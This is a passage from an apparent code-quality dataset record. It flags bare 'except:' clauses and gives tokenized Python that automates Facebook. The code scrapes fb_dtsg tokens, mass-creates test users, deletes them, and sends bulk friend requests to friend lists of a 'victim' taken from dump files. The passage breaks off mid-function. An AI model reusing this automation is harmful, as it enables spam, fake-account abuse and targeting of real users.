"start_column": 8, "end_line": 1902, "end_column": 15 }, { "span": "except:", "start_line": 1912, "start_column": 12, "end_line": 1912, "end_column": 19 }, { "span": "except:", "start_line": 1919, "start_column": 12, "end_line": 1919, "end_column": 19 }, { "span": "except:", "start_line": 1929, "start_column": 16, "end_line": 1929, "end_column": 23 }, { "span": "except:", "start_line": 1975, "start_column": 4, "end_line": 1975, "end_column": 11 }, { "span": "except:", "start_line": 1988, "start_column": 4, "end_line": 1988, "end_column": 11 }, { "span": "except:", "start_line": 2039, "start_column": 8, "end_line": 2039, "end_column": 15 }, { "span": "except:", "start_line": 2081, "start_column": 8, "end_line": 2081, "end_column": 15 }, { "span": "except:", "start_line": 2134, "start_column": 4, "end_line": 2134, "end_column": 11 }, { "span": "except:", "start_line": 2173, "start_column": 4, "end_line": 2173, "end_column": 11 }, { "span": "except:", "start_line": 2182, "start_column": 4, "end_line": 2182, "end_column": 11 }, { "span": "except:", "start_line": 2219, "start_column": 16, "end_line": 2219, "end_column": 23 }, { "span": "except:", "start_line": 2244, "start_column": 4, "end_line": 2244, "end_column": 11 }, { "span": "except:", "start_line": 2276, "start_column": 8, "end_line": 2276, "end_column": 15 }, { "span": "except:", "start_line": 2468, "start_column": 12, "end_line": 2468, "end_column": 19 }, { "span": "except:", "start_line": 2470, "start_column": 4, "end_line": 2470, "end_column": 11 }, { "span": "except:", "start_line": 2498, "start_column": 16, "end_line": 2498, "end_column": 23 }, { "span": "except:", "start_line": 2500, "start_column": 12, "end_line": 2500, "end_column": 19 }, { "span": "except:", "start_line": 2574, "start_column": 16, "end_line": 2574, "end_column": 23 }, { "span": "except:", "start_line": 2659, "start_column": 8, "end_line": 2659, "end_column": 15 }, { "span": "except:", "start_line": 2735, "start_column": 8, "end_line": 2735, "end_column": 15 }, { "span": "except:", "start_line": 2765, "start_column": 8, "end_line": 2765, "end_column": 15 }, { "span": "except:", "start_line": 2783, "start_column": 4, "end_line": 2783, "end_column": 11 }, { "span": "except:", "start_line": 2833, "start_column": 16, "end_line": 2833, "end_column": 23 }, { "span": "except:", "start_line": 2875, "start_column": 8, "end_line": 2875, "end_column": 15 }, { "span": "except:", "start_line": 3066, "start_column": 8, "end_line": 3066, "end_column": 15 }, { "span": "except:", "start_line": 3077, "start_column": 4, "end_line": 3077, "end_column": 11 }, { "span": "except:", "start_line": 3083, "start_column": 4, "end_line": 3083, "end_column": 11 }, { "span": "except:", "start_line": 3116, "start_column": 8, "end_line": 3116, "end_column": 15 }, { "span": "except:", "start_line": 3129, "start_column": 4, "end_line": 3129, "end_column": 11 }, { "span": "except:", "start_line": 3133, "start_column": 4, "end_line": 3133, "end_column": 11 }, { "span": "except:", "start_line": 3160, "start_column": 8, "end_line": 3160, "end_column": 15 }, { "span": "except:", "start_line": 3164, "start_column": 4, "end_line": 3164, "end_column": 11 }, { "span": "except:", "start_line": 3171, "start_column": 4, "end_line": 3171, "end_column": 11 }, { "span": "except:", "start_line": 3226, "start_column": 8, "end_line": 3226, "end_column": 15 }, { "span": "except:", "start_line": 3289, "start_column": 4, "end_line": 3289, "end_column": 11 }, { "span": "except:", "start_line": 3357, "start_column": 4, "end_line": 3357, "end_column": 11 }, { "span": "except:", "start_line": 3383, "start_column": 8, "end_line": 3383, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "dt", "sg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flag_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "'''", " ", "Old", " ", "dt", "sg", " ", "set", " ", "module", "..", " ", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "form", " ", "in", " ", "br", ".", "forms", "():", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "control", " ", "in", " ", "form", ".", "controls", ":", " ", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "control", ".", "name", " ", "==", " ", "'", "fb", "\\u", "dt", "sg", "':", "\\", "10", ";", " ", " ", "flag", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "n", " ", "+=", " ", "1", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "flag", ":", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "br", ".", "select", "\\u", "form", "(", "nr", "=", "n", "-1", ")", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "the", " ", "dt", "sg", " ", "set", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Tr", "ying", " ", "to", " ", "set", " ", "dt", "sg", " ", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "workar", "ound", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "workar", "ound", "dt", "sg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parse_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "\"\\\\\"", "fb", "\\u", "dt", "sg", "\\\\\"\"_", ",_", "parse_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "_", "=_", "re_", "._", "search_", "(_", "\"", "value", "=\\\\\"", "\"_", ",_", "parse_", "[_", "match_", "._", "end_", "(_", ")_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "Bis", "_", "=_", "re_", "._", "search_", "(_", "\"\\\\\"\"_", ",_", "parse_", "[_", "match_", "._", "end_", "(_", ")_", "+_", "match", "Bis", "_", "._", "end_", "(_", ")_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "parse_", "[_", "match_", "._", "end_", "(_", ")_", "+_", "match", "Bis", "_", "._", "end_", "(_", ")_", ":_", "match_", "._", "end_", "(_", ")_", "+_", "match", "Bis", "_", "._", "end_", "(_", ")_", "+_", "match", "Bis", "Bis", "_", "._", "start_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "fb", "\\u", "dt", "sg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "User_", "(_", "number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "798", "a", "D5", "z", "5", "zu", "f", "Ea", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ph", "stamp", "'_", ":_", "'", "165", "816", "557", "511", "087", "545", "7", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "Raw_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Creat", "ing", " ", "Test", " ", "User", "s", " ", "..", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "int_", "(_", "number_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "white", "hat", "/", "create", "\\u", "test\\u", "user", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Raw_", "._", "append_", "(_", "str_", "(_", "response_", "._", "read_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "int_", "(_", "number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Complete", "d", " ", "[", "%", ".2", "f", "%%", "]\\\\", "r", "'_", "%_", "percentage_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sleep_", "(_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "str_", "(_", "e_", "._", "code_", ")_", "+_", "'", " ", "on", " ", "iterati", "on", " ", "'_", "+_", "str_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "e_", "._", "code_", ")_", "+_", "'", " ", "on", " ", "iterati", "on", " ", "%", "d", "'_", "%_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "str_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "+_", "'", " ", "on", " ", "iterati", "on", " ", "'_", "+_", "str_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "+_", "'", " ", "on", " ", "iterati", "on", " ", "%", "d", "'_", "%_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "signal", "Cau", "ght_", "(_", "str_", "(_", "e_", "._", "args_", "[_", "0_", "]_", ")_", "+_", "'", " ", "handling", " ", "from", " ", "create", "User", "..", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "create", " ", "module", " ", "on", " ", "iterati", "on", " ", "'_", "+_", "str_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "create", " ", "module", " ", "on", " ", "iterati", "on", " ", "%", "d", "\\\\", "r", "'_", "%_", "i_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "full", "Flag_", "=_", "My", "Parser_", "._", "parse", "Data_", "(_", "user", "Raw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "full", "Flag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "delete", "User_", "(_", "app", "Id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Select", "s", " ", "the", " ", "fb", "\\u", "dt", "sg", " ", "form", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "str_", "(_", "get", "C", "\\u", "user_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "w", "86", "i3", "S2", "e4", "o", "K", "4", "pom", "XW", "o", "5", "O1", "2w", "Y", "w", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "186", "831", "087", "767", "838", "087", "86", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "140", "915", "8", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test", "User", "ID_", "=_", "database_", "._", "get", "Users_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "len_", "(_", "test", "User", "ID_", "[_", "0_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arguments_", "[_", "'", "test\\u", "user", "\\u", "ids", "['_", "+_", "str_", "(_", "n_", ")_", "+_", "']'_", "]_", "=_", "str_", "(_", "test", "User", "ID_", "[_", "0_", "]_", "[_", "n_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/", "apps", "/", "async", "/", "test", "-", "users", "/", "delete", "/?", "app", "\\u", "id", "='_", "+_", "app", "Id_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "delet", "ing", " ", "users", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "delet", "ing", " ", "users", " ", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "Request_", "(_", "user", "ID_", ",_", "c\\u", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Select", "s", " ", "the", " ", "fb", "\\u", "dt", "sg", " ", "form", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "\\u", "frie", "nd", "'_", ":_", "user", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "'_", ":_", "'", "add", "\\u", "frie", "nd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "how", "\\u", "found", "'_", ":_", "'", "profile", "\\u", "button", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ref", "\\u", "param", "'_", ":_", "'", "none", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "data", "[", "gt", "][", "profile", "\\u", "owner", "]'_", ":_", "user", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "data", "[", "gt", "][", "ref", "]'_", ":_", "'", "timeline", ":", "timeline", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "outgoing", "\\u", "id", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "logg", "ing", "\\u", "location", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "no", "\\u", "fly", "out", "\\u", "on", "\\u", "click", "'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ego", "\\u", "log", "\\u", "data", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "http", "\\u", "refere", "r", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "D5", "z", "5", "zu", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ph", "stamp", "'_", ":_", "'", "165", "816", "568", "837", "611", "1103", "320", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "add", "\\u", "frie", "nd", "/", "action", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "Friend", " ", "Request", " ", "sent", " ", "from", " ", "%", "s", " ", "to", " ", "%", "s", "!", " ", "\\\\", "n", "'_", "%_", "(_", "c\\u", "user_", ",_", "user", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "sendin", "g", " ", "request", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "sendin", "g", " ", "request", " ", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "Request", "To", "List_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "victim", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "ds", "\\u", "send_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number_", "=_", "raw", "\\u", "input_", "(_", "'", "Insert", " ", "the", " ", "amo", "unt", " ", "of", " ", "request", "s", " ", "to", " ", "send", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "persons_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Friend", " ", "file", " ", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Friend", " ", "file", " ", "not", " ", "found", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "person", "s", "\\u", "send_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "frie", "nd", "\\u", "send", ".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "person", "s", "\\u", "send_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frie", "ds", "\\u", "send_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", 